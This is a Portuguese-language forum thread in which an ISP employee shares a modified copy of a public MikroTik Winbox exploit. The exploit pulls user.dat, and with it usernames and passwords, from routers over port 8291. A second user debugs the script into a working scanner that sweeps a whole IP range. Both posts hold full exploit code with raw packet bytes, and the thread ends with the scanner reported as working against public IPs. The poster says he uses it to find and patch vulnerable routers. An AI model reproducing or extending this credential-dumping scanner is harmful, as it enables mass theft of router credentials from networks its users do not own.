Ir para conteúdo
  • Cadastre-se
Entre para seguir isso  
lucascruz

Melhorando antiga vulnerabilidade mikrotik em Pyhton.

Posts Recomendados

Fala galera blz ? 

Meu nome é Lucas e atualmente trabalho num provedor de internet aqui da região onde moro.

Neste provedor, trabalhamos com bastante equipamentos mikrotik.

Foi descoberto uma vulnerabilidade no winbox destes equipamentos se não me engano, aonde é capaz obter os usuários e senhas de um equipamento apenas passando o ip do hardware,

porém a mikrotik graças a Deus já corrigiu o bug.

 

Agora imagina se você quiser ver quais equipamentos da sua rede estão vulneráveis, você terá que colocar ip por ip de um bloco até varrer todos os hosts, e isso é muito trabalhoso.

Então pensei em uma forma de fazer com que você colocasse apenas um ip exemplo 133.255.55.0/24 e ele verificasse do zero até o 254.

 

Este é o cod do momento, efetuei algumas alterações mas não consegui chegar no resultado desejado.

A função está percorrendo todos os ip's do range, porém não funciona.

ele demora demora e cai no settimeout.

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump


def hack_the_planet(ip):
    a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
         0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
         0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
         0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
         0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
         0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
         0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
         0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
         0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
         0x00, 0x00]

    b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
         0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
         0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
         0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
         0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
         0x00, 0x02, 0x00, 0x00, 0x00]

    # Initialize Socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)

    s.connect((ip, 8291))
    s.settimeout(3)

    # Convert to bytearray for manipulation
    a = bytearray(a)
    b = bytearray(b)

    # Send hello and recieve the sesison id
    s.send(a)
    d = bytearray(s.recv(1024))

    # Replace the session id in template
    b[19] = d[38]

    # Send the edited response
    s.send(b)
    d = bytearray(s.recv(1024))
    # Get results
    print(ip)
    dump(d[55:])
    s.close()


print('VARRENDO HOSTS ...')

if __name__ == "__main__":
    try:
        # getip = sys.argv[1]
        iprange = ['177.77.777.'+str(x) for x in range(0, 10)]
        print(iprange)
    except:
        print("Fail")

    for ip in iprange:
        hack_the_planet(ip)

Lembrando que o repositório onde encontrei o cod original é https://github.com/BigNerd95/WinboxExploit

Destes arquivos o unico que fiz alterações foi o WinboxExploit.py

  • Curtir 1

Compartilhar este post


Link para o post
Compartilhar em outros sites

@lucascruz pelo que eu percebi esse scan é para ser feito numa rede LAN, ou estou enganado?

Editado por gnoo

Compartilhar este post


Link para o post
Compartilhar em outros sites

@lucascruz  o problema no teu código NO MEU ponto de vista, tem a ver com lógica, ou seja, os dados a enviar, a receber e a ser manipulados devem ser feitos apenas se a conexão se realizar, tens que testar se a conexão existe e só depois envias os dados, recebes os dados e fazes o tratamento dos dados recebidos.

Se a conexão não for efectuada é nos dado um erro que nos dá uma ideia da razão pela qual não fez conexão para nos ajudar a resolver problemas.

A questão agora é se há algum problema com o código do bloco de instruções que é executado se a ligação for efectuada, uma  vez que não consigo reproduzir esse ambiente onde a falha existe, não consigo testar,  isso já fica ao teu encargo.

ATENÇÃO: Eu comentei a linha 

from extract_user import dump

para não dar erro a dizer quer extract_user não existe uma vez que não baixei o código do github apenas olhei para aquele foi aqui referido, para usar o dump tens que descomentar a essa linha.

Segue código:

#!/usr/bin/env python3

import socket
import sys
#from extract_user import dump


def hack_the_planet(ip):
    a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
         0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
         0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
         0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
         0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
         0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
         0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
         0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
         0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
         0x00, 0x00]

    b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
         0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
         0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
         0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
         0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
         0x00, 0x02, 0x00, 0x00, 0x00]

    # Initialize Socket
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # ATENÇÃO: Deve ser alterado mediante a necessidade
        s.settimeout(0.5)
        # excuta a conexão
        print("A testar Host: " + str(ip))
        conexao  = s.connect_ex((ip, 8291))
        
        # Testa se conexao efetuada com sucesso,
        # Se valor for 0 a conexao foi efetuada
        if conexao == 0:
            print("Conexão efetuada com sucesso em {}".format(ip))
            # Se conexao efetuada executa bloco de instruções que segue
          
            # Convert to bytearray for manipulation
            a = bytearray(a)
            b = bytearray(b)
            # Send hello and recieve the sesison id
            s.send(a)
            d = bytearray(s.recv(1024))
            # Replace the session id in template
            b[19] = d[38]
            # Send the edited response
            s.send(b)
            d = bytearray(s.recv(1024))
            # Get results
            print(ip)
            dump(d[55:])
            
            s.close()
    except socket.error as erro:
        # SE conexão não efetuada devolve erro e passa para a iteração seguinte
        print("IP: {} Porta: 8291, conexão não efetuada -> {}\n".format(ip, erro))


print('VARRENDO HOSTS ...')

if __name__ == "__main__":
    iprange =['177.77.777.' + str(x) for x in range(0, 250)]
    
    for ip in iprange:
        hack_the_planet(ip)

Abraço 

 

 

Editado por gnoo

Compartilhar este post


Link para o post
Compartilhar em outros sites

Cara, funcionou, Muito Obrigado ! ( e por sinal, ficou muuuuito melhor agora cara nossa )

 

Na realidade utilizo na grande maioria das vezes ip's públicos pois são os ip's que ficam nos mikrotiks da rede etc.

então agora com esse script posso ver quais ccr's estão desatualizadas ou vulneráveis e corrigir no Firewall.

 

vlw msm cara... 

Compartilhar este post


Link para o post
Compartilhar em outros sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons no total são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

Entre para seguir isso  

  • Quem Está Navegando   0 membros estão online

    Nenhum usuário registrado visualizando esta página.

×
×
  • Criar Novo...